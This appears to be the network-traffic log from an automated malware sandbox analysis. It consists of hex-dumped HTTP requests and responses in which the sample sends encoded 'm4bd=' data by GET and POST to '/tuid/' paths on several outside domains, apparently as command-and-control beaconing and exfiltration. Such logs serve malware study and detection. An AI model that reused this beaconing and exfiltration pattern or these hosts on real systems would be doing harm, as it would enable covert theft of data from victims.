35 5f 65 70 6c 38 66 66 6e 43 4e 38 46 69 68 54 32 70 62 4b 37 69 59 62 4a 6b 77 75 7a 56 51 52 49 62 68 57 64 73 71 42 43 7a 31 79 4b 6c 71 63 51 38 4e 2d 38 7a 42 49 70 66 42 57 68 66 4e 72 79 39 77 30 4f 67 76 79 71 54 56 6f 56 76 36 7a 52 33 75 53 75 4b 46 7a 48 37 6f 46 6e 50 51 4e 56 57 42 48 6e 4d 64 33 55 57 37 37 54 46 51 64 54 79 61 31 34 2d 39 6e 77 58 49 52 61 50 4d 57 5a 59 75 53 58 30 73 64 6f 4e 44 70 34 6d 78 57 76 52 69 51 4f 4c 44 43 57 76 53 58 34 75 35 65 73 75 6d 54 4e 55 4a 42 37 76 68 74 61 70 6f 68 67 4b 28 51 64 6d 6e 48 52 4c 63 69 42 42 6d 49 32 6e 37 46 48 50 47 76 33 6e 4e 4c 50 65 46 74 65 72 4f 36 4f 4d 79 76 68 45 53 39 6b 54 31 2d 51 62 54 73 4b 67 42 79 77 6a 56 37 72 5a 74 50 50 79 50 7a 62 57 70 6e 4f 75 64 37 33 69 66 79 4d 43 7a 77 53 49 7e 79 55 59 32 65 37 39 59 39 4c 47 36 55 57 6a 74 48 68 36 5a 41 59 48 30 70 33 42 66 54 34 44 64 58 68 63 35 4c 70 70 48 62 43 79 58 42 57 41 32 65 50 54 34 6b 43 33 59 62 55 76 65 48 4d 4a 6d 63 46 78 54 39 56 78 56 63 28 78 70 62 63 57 4e 54 59 43 58 6a 73 4d 41 5a 70 44 6e 75 70 6f 49 4d 74 30 4c 31 75 76 4e 4a 31 48 4c 30 46 32 30 4f 42 4c 77 63 4b 37 33 54 6b 41 6f 68 47 44 50 73 4e 65 32 70 63 33 38 55 39 32 6a 64 36 6c 74 4a 76 7a 32 72 70 59 51 50 78 6a 62 37 31 79 50 63 30 33 52 75 51 74 52 33 71 67 76 52 75 52 4b 6f 36 78 79 70 4b 5a 44 71 45 46 58 77 52 48 4f 66 46 78 51 79 72 55 62 38 66 39 79 73 4d 46 4f 72 4e 6b 46 66 33 33 4d 4f 4f 2d 77 56 47 31 73 4b 4f 54 45 58 42 34 58 46 44 6a 46 55 33 50 52 46 47 4f 65 58 73 4e 4f 6f 6e 6c 4f 59 38 6e 28 6d 41 42 33 4d 50 77 42 62 66 75 58 7a 79 72 65 6f 6d 6d 50 31 79 61 72 71 4d 47 56 59 52 79 78 2d 4d 68 37 38 52 74 54 47 79 58 7e 6c 31 52 51 58 72 31 4d 56 43 51 51 4e 76 6f 4b 48 66 54 51 5f 53 53 54 52 41 52 68 77 5a 34 66 52 70 75 63 70 38 41 59 56 6c 42 7a 44 4b 6c 39 30 64 67 61 64 32 68 50 5a 6c 78 64 74 28 74 6a 5f 4a 39 37 51 4c 6e 7e 64 36 33 44 57 64 42 4f 5f 39 73 46 38 55 48 4a 47 72 37 31 5a 79 4e 72 6d 6f 71 41 34 75 42 79 49 65 42 4f 49 4c 52 68 62 78 37 42 43 78 58 43 4c 6b 70 63 59 5a 52 70 61 56 43 39 5f 48 44 36 48 33 41 63 75 35 78 5a 75 63 33 36 62 33 53 51 76 41 30 53 4b 7e 49 76 63 65 63 28 6b 69 39 46 47 76 6c 55 6e 50 4e 71 73 6c 66 42 75 37 38 5a 4f 52 63 72 69 6f 33 57 31 56 36 72 43 38 35 36 71 6b 4b 57 53 79 43 4c 6b 6b 56 69 55 78 4e 65 62 59 6a 54 59 6a 33 67 4b 51 5f 45 4a 7e 37 67 55 31 5a 4e 4c 74 52 4f 6b 6a 53 36 71 78 31 43 47 6c 6a 52 4d 45 5f 41 55 6d 7a 73 64 45 68 36 63 4c 35 4e 61 38 5a 38 37 28 32 42 79 28 72 59 79 6a 34 35 69 70 62 55 7a 42 79 59 70 45 32 61 6b 78 4e 45 68 74 6b 71 62 35 44 6c 39 6d 75 65 33 33 46 54 54 59 30 77 54 50 68 51 36 7e 42 53 41 41 44 53 65 4f 4e 6e 30 55 67 47 59 28 6a 76 38 77 5f 31 4b 49 6a 66 6d 4a 6b 75 69 6f 54 7a 36 47 68 46 49 30 66 66 62 70 72 6f 6e 34 6f 62 48 6f 6d 7a 56 7a 45 37 36 34 45 69 61 67 53 54 74 76 65 43 73 52 65 48 31 58 6d 57 77 61 47 42 30 6d 59 30 47 58 77 4e 55 48 4f 78 4e 41 5f 6b 43 73 30 51 35 63 6f 79 4f 31 45 57 73 6b 52 48 39 58 71 6e 30 6c 46 77 58 64 74 75 68 51 54 68 30 53 71 69 78 47 52 47 4d 35 6f 7a 4e 43 31 56 52 6e 64 72 49 54 59 34 34 73 4d 61 54 62 4c 62 39 58 78 47 52 67 75 6d 4a 39 79 4b 34 48 70 68 6a 46 46 52 44 6a 4d 72 4e 4c 6c 6c 76 62 59 42 6c 48 49 6c 72 71 4d 31 75 4f 33 79 4e 4b 4f 7e 54 61 6e 30 35 56 44 7a 6f 37 70 36 56 70 58 36 59 6a 2d 56 63 51 79 53 5f 30 39 41 2d 4c 63 4a 4c 54 6d 65 44 28 5a 6d 63 41 38 63 44 6c 6e 65 63 77 42 31 67 49 55 55 63 39 56 39 4c 46 47 50 37 41 62 71 4b 4b 65 53 61 52 36 49 73 69 67 6b 6c 61 56 7e 53 76 4d 42 68 57 78 6e 30 72 75 4b 6b 79 65 47 2d 28 64 56 50 48 57 4c 78 72 70 30 44 35 65 50 37 4c 36 70 4a 70 53 65 37 74 5f 71 70 6d 30 4f 62 62 57 5a 2d 66 64 50 30 33 54 63 34 6e 57 63 6b 32 32 7e 5f 46 65 4d 4b 71 61 56 71 28 31 4e 5f 52 4a 5a 42 65 2d 4e 53 6a 63 73 53 6a 71 Data Ascii: m4bd=WUnLlbTYtmg21r8y4F57qq9R9RzAREFfW3SNFqBIRhww2DeHqOMSoIyRhG81JPLHjoACB-ZjxIqeobY95_epl8ffnCN8FihT2pbK7iYbJkwuzVQRIbhWdsqBCz1yKlqcQ8N-8zBIpfBWhfNry9w0OgvyqTVoVv6zR3uSuKFzH7oFnPQNVWBHnMd3UW77TFQdTya14-9nwXIRaPMWZYuSX0sdoNDp4mxWvRiQOLDCWvSX4u5esumTNUJB7vhtapohgK(QdmnHRLciBBmI2n7FHPGv3nNLPeFterO6OMyvhES9kT1-QbTsKgBywjV7rZtPPyPzbWpnOud73ifyMCzwSI~yUY2e79Y9LG6UWjtHh6ZAYH0p3BfT4DdXhc5LppHbCyXBWA2ePT4kC3YbUveHMJmcFxT9VxVc(xpbcWNTYCXjsMAZpDnupoIMt0L1uvNJ1HL0F20OBLwcK73TkAohGDPsNe2pc38U92jd6ltJvz2rpYQPxjb71yPc03RuQtR3qgvRuRKo6xypKZDqEFXwRHOfFxQyrUb8f9ysMFOrNkFf33MOO-wVG1sKOTEXB4XFDjFU3PRFGOeXsNOonlOY8n(mAB3MPwBbfuXzyreommP1yarqMGVYRyx-Mh78RtTGyX~l1RQXr1MVCQQNvoKHfTQ_SSTRARhwZ4fRpucp8AYVlBzDKl90dgad2hPZlxdt(tj_J97QLn~d63DWdBO_9sF8UHJGr71ZyNrmoqA4uByIeBOILRhbx7BCxXCLkpcYZRpaVC9_HD6H3Acu5xZuc36b3SQvA0SK~Ivcec(ki9FGvlUnPNqslfBu78ZORcrio3W1V6rC856qkKWSyCLkkViUxNebYjTYj3gKQ_EJ~7gU1ZNLtROkjS6qx1CGljRME_AUmzsdEh6cL5Na8Z87(2By(rYyj45ipbUzByYpE2akxNEhtkqb5Dl9mue33FTTY0wTPhQ6~BSAADSeONn0UgGY(jv8w_1KIjfmJkuioTz6GhFI0ffbpron4obHomzVzE764EiagSTtveCsReH1XmWwaGB0mY0GXwNUHOxNA_kCs0Q5coyO1EWskRH9Xqn0lFwXdtuhQTh0SqixGRGM5ozNC1VRndrITY44sMaTbLb9XxGRgumJ9yK4HphjFFRDjMrNLllvbYBlHIlrqM1uO3yNKO~Tan05VDzo7p6VpX6Yj-VcQyS_09A-LcJLTmeD(ZmcA8cDlnecwB1gIUUc9V9LFGP7AbqKKeSaR6IsigklaV~SvMBhWxn0ruKkyeG-(dVPHWLxrp0D5eP7L6pJpSe7t_qpm0ObbWZ-fdP03Tc4nWck22~_FeMKqaVq(1N_RJZBe-NSjcsSjqzLVED7LE3ce8M09yVJ8u3nT-wyK0ybOXZD0d0TSnUR6t18SyfR2QWZiirF9PLJ9iuQVj(TKkiqi_~cDtWvZa4uc5d5c7S5NlFJfl7ZG5rDoaiigLD7FiB3Hmz9ccy7DtqAId2eElO1Wjvkk-(F3u1OMPmgap0u5-GKOVvZD9pjVHjCW-kDU0QxuFdv83pEArzSXxzopMMFlKJRzuIL5dUZokkveagG0zfdzr9X1iFIaBfScVWNyray7FsVB-jIk3ykyUNrciZ56yhWblamiSpfguyaX05zpA5ayFPXciWMtxSiuFRbBl26ytBEYvMO~xsnnLgfBIlp~-pupkChgCLrNPelclmOhcCXiuVzO2Ch89cUquiqLwM22JfEFhMBXouZCHCBiwM_OKeEwAirArgjqMXf3FCHVcE1KqO2Qaj7WuFXqImUXCh-GLQbJkuOEclxMh2URDszJ68DXESgDom7Swc9YAWeaioqtPfBnFB20zg0kwBOKYmanZf2UaQdow9D32JU(xC4c_nH1kkfDAUoakQDEnuIy1~WC6SP6Hi6yaBfFlS9Bl0VjCW_ytbylzC2Hjq7(nTHyNT2hY9wzRW14SXCMqF3kPDQ(DWrIc4VMGtK1QhSBJhoehziKUpQnii6zp5ksoLlDjntAw3JbtN0kEyDkK0uZ9hyE5rl0nMfkg7yrE4SWlf0UXX7O2NXGm0O3BRrq_yO7qnlMz4LzGpzXdfHmhOno6GFTPgmoLk_po7hrPOXJkHV7_967Kr9I3ZfLoicXKoUQyMwj7(GMwxJZFXf(dBa7kOV~VV2EGCOUH~aDtCfL2cTH0kIys3JbFc80W~NtTIR(bGbcFOK3u4ccc1sUCgElYOcx2puKJmHuMHZe-9CXTVEpDwfVi69IcQylxXCOy5kY2QWGXJK6
Aug 8, 2022 17:45:41.443969011 CEST	1616	IN	HTTP/1.1 301 Moved Permanently Server: aruba-proxy Date: Mon, 08 Aug 2022 15:45:41 GMT Content-Type: text/html Content-Length: 168 Connection: close Location: https://www.ap-render.com/tuid/ X-ServerName: ipvsproxy141.ad.aruba.it Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 61 72 75 62 61 2d 70 72 6f 78 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>aruba-proxy</center></body></html>

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:41.443695068 CEST	1614	OUT	GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=ZWTx79zL1WMN2pQcyBYApaV2+B3RRlV7SjHEUZJPfkwT7h+aiOtTufuSzn8LCa71qLhI HTTP/1.1 Host: www.ap-render.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:45:41.464845896 CEST	1630	IN	HTTP/1.1 301 Moved Permanently Server: aruba-proxy Date: Mon, 08 Aug 2022 15:45:41 GMT Content-Type: text/html Content-Length: 168 Connection: close Location: https://www.ap-render.com/tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=ZWTx79zL1WMN2pQcyBYApaV2+B3RRlV7SjHEUZJPfkwT7h+aiOtTufuSzn8LCa71qLhI X-ServerName: ipvsproxy141.ad.aruba.it Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 61 72 75 62 61 2d 70 72 6f 78 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>aruba-proxy</center></body></html>

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:44:23.413017035 CEST	445	OUT	GET /tuid/?M8s=w86DJpgx5FYlUfRP&m4bd=83varyKolJl8CknPQYlgcSGzNVcyrkZOB+D5ZpiMClZzhWRqo67UpTDjwxWvk8XKYz02 HTTP/1.1 Host: www.emitacademy.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Aug 8, 2022 17:44:23.694823980 CEST	446	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 08 Aug 2022 15:44:23 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 38 36 65 66 0d 0a ef bb bf 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6d 69 70 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 7a 68 2d 43 4e 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 20 64 61 74 61 2d 72 65 61 63 74 2d 68 65 6c 6d 65 74 3d 22 74 72 75 65 22 3e e4 b8 ad e5 9b bd 20 2d 20 28 e5 8d 81 e5 88 86 e9 a3 9e e8 89 87 29 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 e3 80 90 e5 ae 98 e7 bd 91 e3 80 91 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 e5 8d 81 e5 88 86 e9 a3 9e e8 89 87 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 e3 80 90 e6 8a 95 e5 85 a5 e6 a2 a6 e6 83 b3 20 e6 b3 a8 e5 ae 9a e7 b2 be e5 bd a9 e3 80 91 e5 8d 81 e5 88 86 e9 a3 9e e8 89 87 e3 80 90 67 63 31 31 36 2e 63 63 e3 80 91 e5 85 a8 e7 90 83 e5 8d 8e e4 ba ba e9 a1 b6 e7 ba a7 e5 a8 b1 e4 b9 90 e5 b9 b3 e5 8f b0 e4 b9 8b e4 b8 80 ef bc 8c e4 b8 ba e6 82 a8 e6 8f 90 e4 be 9b e9 ab 98 e5 93 81 e8 b4 a8 e3 80 81 e9 ab 98 e8 b5 94 e7 8e 87 e7 9a 84 e5 a8 b1 e4 b9 90 e6 b8 b8 e6 88 8f e5 8f 8a e6 89 80 e6 9c 89 e7 ba bf e4 b8 8a e6 8a 95 e6 b3 a8 ef bc 8c e6 88 91 e4 bb ac e8 87 b4 e5 8a 9b e4 ba 8e e6 8f 90 e4 be 9b e5 85 a8 e7 90 83 e5 ae a2 e6 88 b7 e6 9c 80 e6 9c 89 e4 bb b7 e5 80 bc e7 9a 84 e6 b8 b8 e6 88 8f e4 bd 93 e9 aa 8c e3 80 82 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 74 65 6d 70 6c 61 74 65 2f 73 74 61 74 69 63 2f 63 73 73 2f 6d 69 70 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 65 6d 69 74 61 63 61 64 65 6d 79 2e 63 6f 6d 2f 73 69 74 65 6d 61 70 2e 78 6d 6c 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 74 69 74 6c 65 3d 22 e5 8d 81 e5 88 86 e9 a3 9e e8 89 87 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 65 6d 69 74 61 63 61 64 65 6d 79 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 62 6c 65 2d 64 65 76 69 63 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 63 2c 6d 6f 62 69 6c 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 74 72 61 6e 73 66 6f 72 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 69 74 65 61 70 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4d 6f 62 69 6c 65 4f 70 74 69 6d 69 7a 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 48 61 6e 64 Data Ascii: 86ef<!doctype html><html mip><head> <meta charset="utf-8"> <meta http-equiv="Content-Language" content="zh-CN"> <meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1"> <title data-react-helmet="true"> - ()</title> <meta name="keywords" content=""><meta name="description" content=" gc116.cc"> <link type="text/css" rel="stylesheet" href="/template/static/css/mip.css"> <link rel="alternate" href="http://www.emitacademy.com/sitemap.xml" type="application/rss+xml"> <link rel="canonical" title="" href="http://www.emitacademy.com"> <meta name="applicable-device" content="pc,mobile"> <meta http-equiv="Cache-Control" content="no-transform" /> <meta http-equiv="Cache-Control" content="no-siteapp" /> <meta name="MobileOptimized" content="width"/> <meta name="Hand

Timestamp	kBytes transferred	Direction	Data
Aug 8, 2022 17:45:46.526824951 CEST	1677	OUT	POST /tuid/ HTTP/1.1 Host: www.receiveprim.online Connection: close Content-Length: 174830 Cache-Control: no-cache Origin: http://www.receiveprim.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.receiveprim.online/tuid/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 6d 34 62 64 3d 32 58 50 32 69 48 78 4c 75 42 68 54 6e 75 49 38 71 6f 6f 6b 77 55 38 63 38 31 52 54 47 42 32 5a 44 70 48 6b 72 51 6d 6a 43 43 66 31 4c 39 67 72 59 63 73 4f 53 76 31 65 6e 37 31 38 31 61 65 48 6c 6a 72 67 7a 77 63 78 4d 51 74 46 52 42 48 32 32 65 6f 4b 32 52 34 34 37 58 49 7a 48 6a 57 32 4d 7a 47 56 41 38 45 79 6b 76 67 6b 51 4b 4f 38 54 4e 72 39 4a 38 34 61 35 62 31 4e 37 6b 32 59 4f 66 32 49 34 41 34 6a 42 30 75 6e 77 5a 75 31 6f 6c 59 74 41 75 28 7a 4e 42 51 39 67 48 6c 59 69 56 7a 77 44 4b 71 34 78 56 59 57 68 41 74 56 4e 71 35 61 63 2d 63 4e 59 73 42 41 30 56 6c 66 4a 53 76 74 45 76 65 46 7a 44 31 33 56 74 63 52 63 46 64 47 4b 58 73 4f 63 4a 33 54 4e 4b 6e 6b 78 4c 4c 52 32 45 4a 4a 52 37 4b 71 73 41 75 75 7e 6b 44 55 59 78 28 66 50 70 59 5a 30 63 28 50 33 41 32 57 4b 6c 4c 54 66 65 6c 6b 54 7a 4a 6e 37 71 36 33 74 76 74 71 71 54 37 78 49 6d 36 38 78 57 51 6b 52 41 64 49 7e 4c 7e 48 50 76 67 58 31 56 64 5f 44 59 6f 4f 76 6c 6c 78 4e 48 70 48 66 58 71 6d 72 35 46 69 54 6d 7e 6b 56 62 71 7a 78 57 37 73 6c 38 49 53 73 64 54 50 46 69 72 6d 42 48 4f 4b 56 38 48 62 4d 66 6a 7a 30 76 6a 75 6d 50 6c 63 73 58 58 4e 76 79 6d 77 69 75 56 68 28 65 45 67 77 74 31 56 46 65 36 62 56 55 38 51 33 6e 73 58 46 78 37 43 73 72 74 6a 42 74 7a 33 4e 37 45 65 39 33 56 55 7a 42 79 55 41 69 79 63 47 45 72 77 65 65 33 78 51 32 74 46 7a 6f 42 45 38 37 71 37 56 76 51 31 66 77 79 5f 73 51 52 73 58 6f 39 5f 35 55 39 37 75 71 42 31 59 66 62 4f 74 38 47 37 28 38 69 58 7a 4f 43 38 79 5f 42 4e 4b 74 67 6f 46 73 34 6d 77 79 28 39 54 34 66 30 6b 42 59 62 4b 34 70 4e 57 6b 36 30 68 79 41 46 39 56 63 52 70 58 35 70 6f 77 45 65 41 55 71 37 51 73 35 49 75 56 72 6d 30 77 50 68 75 4a 32 6d 28 72 4d 71 5a 46 45 49 64 4c 28 49 59 75 33 49 4a 52 61 5f 53 7a 54 4a 67 2d 44 54 51 4d 68 70 79 6a 78 77 77 55 50 58 59 56 32 73 32 6c 5a 39 73 78 37 44 4a 77 6c 76 39 50 39 59 32 61 79 31 62 55 68 64 4a 41 4b 6b 4c 36 63 35 37 76 33 38 64 62 65 36 69 48 31 76 48 45 6a 49 43 49 32 4a 4d 6d 77 6a 6a 38 46 74 52 69 45 52 67 66 6d 5a 53 66 65 74 67 76 73 65 46 46 46 65 34 66 6b 62 67 33 30 79 4d 65 43 67 64 6f 47 55 6f 66 66 74 75 64 35 45 30 57 4d 4c 6f 4e 49 54 30 33 77 63 32 59 70 6d 54 43 7e 32 71 30 64 52 66 73 42 4e 36 42 65 4c 4d 70 51 75 6a 69 73 61 69 57 53 4c 4d 36 41 48 6c 76 68 62 44 6c 38 56 64 62 6a 6d 51 38 61 48 68 5a 72 67 56 34 6c 66 78 4d 35 58 6f 4f 63 6a 69 49 62 5f 6b 63 49 74 4e 71 33 51 43 4b 49 59 50 61 32 47 72 48 7a 4c 50 77 61 4b 4d 2d 69 6d 48 63 6e 43 4c 37 4c 64 6a 37 56 46 75 62 77 61 6f 53 6b 76 7e 36 67 79 68 4c 6e 64 69 71 68 53 4d 7a 34 6e 6e 57 44 63 4e 67 33 58 41 4a 4e 6e 56 52 70 75 46 65 4b 6b 7e 64 74 65 54 4d 64 5a 30 47 70 4a 68 67 77 36 6e 46 4e 32 6d 58 66 37 30 56 52 75 41 6d 54 77 41 67 44 39 4f 52 71 47 28 4f 34 44 4c 6a 68 2d 68 6f 45 38 63 63 68 56 75 2d 73 6a 34 55 5a 5a 73 5a 42 39 67 6b 45 75 46 5a 4b 57 54 64 76 44 32 49 6d 6c 5a 43 45 4b 4a 48 28 5f 39 48 34 53 62 39 37 49 63 7a 66 4a 5a 62 53 34 67 37 65 5a 45 36 6a 58 7a 54 53 55 6b 61 74 64 69 79 6f 45 77 37 49 74 6f 5f 4e 73 4e 66 69 42 34 34 4f 73 55 42 67 6a 30 49 6b 4c 70 74 37 42 78 6a 79 6b 34 6d 7e 72 45 41 42 66 54 37 51 55 6d 31 6e 4a 50 41 31 51 70 32 32 77 70 4e 67 4d 51 2d 4d 61 50 39 48 5f 51 6c 74 58 43 34 74 55 61 71 51 43 7a 41 5a 4f 42 36 49 35 7e 6a 47 63 37 4e 69 32 65 63 7e 63 74 51 71 36 4f 68 41 69 67 72 39 41 35 77 6f 58 6a 44 53 39 46 6a 32 4e 42 42 75 43 67 36 67 41 61 71 64 62 49 53 4f 54 38 6d 52 6d 66 6a 55 70 32 4b 32 42 53 6d 79 69 69 37 51 32 5a 4d 30 6a 77 4b 4e 6d 34 72 28 72 4e 33 70 61 31 5f 4b 38 55 76 61 64 59 62 35 65 4e 5a 64 68 42 5f 32 76 73 54 67 4f 56 32 41 45 41 38 6d 4e 4d 38 76 4d 4d 48 49 67 63 56 58 73 4a 38 6c 65 4f 78 79 46 61 6f 6b 66 79 39 65 68 4f 4f 31 7a 72 48 62 45 65 32 4f 58 54 71 56 79 77 71 38 33 44 51 72 62 5a 35 71 6c 77 36 30 41 36 31 4d 4d 37 73 72 78 77 37 58 37 67 6a 5a 2d 49 49 69 6c 4e 6b 54 52 4e 46 61 33 7a 64 38 37 35 54 42 79 74 6b 5a 70 7a 35 4a 56 4b 2d 79 31 34 4b 67 30 57 45 28 50 33 48 49 74 57 65 6a 55 51 69 78 78 42 47 6c 64 49 6e 4c 63 76 79 71 36 4e 62 4c 30 63 57 Data Ascii: m4bd=2XP2iHxLuBhTnuI8qookwU8c81RTGB2ZDpHkrQmjCCf1L9grYcsOSv1en7181aeHljrgzwcxMQtFRBH22eoK2R447XIzHjW2MzGVA8EykvgkQKO8TNr9J84a5b1N7k2YOf2I4A4jB0unwZu1olYtAu(zNBQ9gHlYiVzwDKq4xVYWhAtVNq5ac-cNYsBA0VlfJSvtEveFzD13VtcRcFdGKXsOcJ3TNKnkxLLR2EJJR7KqsAuu~kDUYx(fPpYZ0c(P3A2WKlLTfelkTzJn7q63tvtqqT7xIm68xWQkRAdI~L~HPvgX1Vd_DYoOvllxNHpHfXqmr5FiTm~kVbqzxW7sl8ISsdTPFirmBHOKV8HbMfjz0vjumPlcsXXNvymwiuVh(eEgwt1VFe6bVU8Q3nsXFx7CsrtjBtz3N7Ee93VUzByUAiycGErwee3xQ2tFzoBE87q7VvQ1fwy_sQRsXo9_5U97uqB1YfbOt8G7(8iXzOC8y_BNKtgoFs4mwy(9T4f0kBYbK4pNWk60hyAF9VcRpX5powEeAUq7Qs5IuVrm0wPhuJ2m(rMqZFEIdL(IYu3IJRa_SzTJg-DTQMhpyjxwwUPXYV2s2lZ9sx7DJwlv9P9Y2ay1bUhdJAKkL6c57v38dbe6iH1vHEjICI2JMmwjj8FtRiERgfmZSfetgvseFFFe4fkbg30yMeCgdoGUofftud5E0WMLoNIT03wc2YpmTC~2q0dRfsBN6BeLMpQujisaiWSLM6AHlvhbDl8VdbjmQ8aHhZrgV4lfxM5XoOcjiIb_kcItNq3QCKIYPa2GrHzLPwaKM-imHcnCL7Ldj7VFubwaoSkv~6gyhLndiqhSMz4nnWDcNg3XAJNnVRpuFeKk~dteTMdZ0GpJhgw6nFN2mXf70VRuAmTwAgD9ORqG(O4DLjh-hoE8cchVu-sj4UZZsZB9gkEuFZKWTdvD2ImlZCEKJH(_9H4Sb97IczfJZbS4g7eZE6jXzTSUkatdiyoEw7Ito_NsNfiB44OsUBgj0IkLpt7Bxjyk4m~rEABfT7QUm1nJPA1Qp22wpNgMQ-MaP9H_QltXC4tUaqQCzAZOB6I5~jGc7Ni2ec~ctQq6OhAigr9A5woXjDS9Fj2NBBuCg6gAaqdbISOT8mRmfjUp2K2BSmyii7Q2ZM0jwKNm4r(rN3pa1_K8UvadYb5eNZdhB_2vsTgOV2AEA8mNM8vMMHIgcVXsJ8leOxyFaokfy9ehOO1zrHbEe2OXTqVywq83DQrbZ5qlw60A61MM7srxw7X7gjZ-IIilNkTRNFa3zd875TBytkZpz5JVK-y14Kg0WE(P3HItWejUQixxBGldInLcvyq6NbL0cW0jMX(4SbBvLIqmQHxYDTsw13y9ymCiAV~4xwLcY5CeEXhC51eSkhODeh0O3Sdyxu1NSfT-YCcOmgqSAj~4F65MZw5CW5Knr3Bol0NC(KnrSzYJvnGIv6DgVKGB9u7dv1M8T6iUxOB52tscTNgFj3m4XflMrkXpmUzTtInCEL6nCwurCV5MitjDolbZ0yzBR9Tb7qVvWg5AIpo-uOW7GkgBLRElMtDMED1uHS7DB9P51BsI(ZGpHoNojc8jpUQbMrJFkiQQMvh71tCEMOSxDopSO36rxgd_tlDmosfbBOnkyhi5skQ3e4gpKvBvxXuwWLK2pBWr1O1L9uSEKdywJ5wYxf